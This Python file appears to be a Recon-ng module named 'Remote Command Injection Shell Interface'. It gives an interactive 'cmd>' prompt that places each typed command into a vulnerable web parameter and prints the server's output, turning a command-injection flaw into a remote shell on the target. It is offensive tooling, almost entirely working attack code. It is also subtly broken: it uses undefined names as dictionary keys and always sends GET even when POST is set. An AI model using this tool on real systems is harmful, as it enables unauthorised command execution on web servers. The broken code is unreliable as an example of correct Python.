from recon.core.module import BaseModule
from urllib.parse import unquote_plus

class Module(BaseModule):

    meta = {
        'name': 'Remote Command Injection Shell Interface',
        'author': 'Tim Tomes (@lanmaster53)',
        'version': '1.0',
        'description': 'Provides a shell interface for remote command injection flaws in web applications.',
        'options': (
            ('base_url', None, True, 'the target resource url excluding any parameters'),
            ('parameters', None, True, 'the query parameters with \'<rce>\' signifying the value of the vulnerable parameter'),
            ('basic_user', None, False, 'username for basic authentication'),
            ('basic_pass', None, False, 'password for basic authentication'),
            ('cookie', None, False, 'cookie string containing authenticated session data'),
            ('post', False, True, 'set the request method to POST'),
            ('mark_start', None, False, 'string to match page content preceding the command output'),
            ('mark_end', None, False, 'string to match page content following the command output'),
        ),
    }

    def help(self):
        return 'Type \'exit\' or \'ctrl-c\' to exit the shell.'

    def parse_params(self, params):
        params = params.split('&')
        params = [param.split('=') for param in params]
        return [(unquote_plus(param[0]), unquote_plus(param[1])) for param in params]

    def module_run(self):
        base_url = self.options['base_url']
        base_params = self.options['parameters']
        username = self.options['basic_user']
        password = self.options['basic_pass']
        cookie = self.options['cookie']
        start = self.options['mark_start']
        end = self.options['mark_end']

        # process authentication
        kwargs = {
            headers: {'Cookie': cookie} if cookie else {},
            auth: (username, password) if username and password else (),
        }

        # set the request method
        method = 'POST' if self.options['post'] else 'GET'

        print('Type \'help\' or \'?\' for assistance.')
        while True:
            # get command from the terminal
            cmd = input("cmd> ")
            if cmd.lower() == 'exit':
                return
            elif cmd.lower() in ['help', '?']:
                print(self.help())
                continue
            # build the payload from the base_params string
            payload = {}
            params = self.parse_params(base_params.replace('<rce>', cmd))
            for param in params:
                payload[param[0]] = param[1]
            # send the request
            if method == 'GET':
                kwargs['params'] = payload
            else:
                kwargs['data'] = payload
            resp = self.request('GET', base_url, **kwargs)
            # process the response
            output = resp.text
            if start and end:
                try:
                    output = output[output.index(start)+len(start):]
                except ValueError:
                    self.error('Invalid start marker.')
                try:
                    output = output[:output.index(end)]
                except ValueError:
                    self.error('Invalid end marker.')
            print(output.strip())
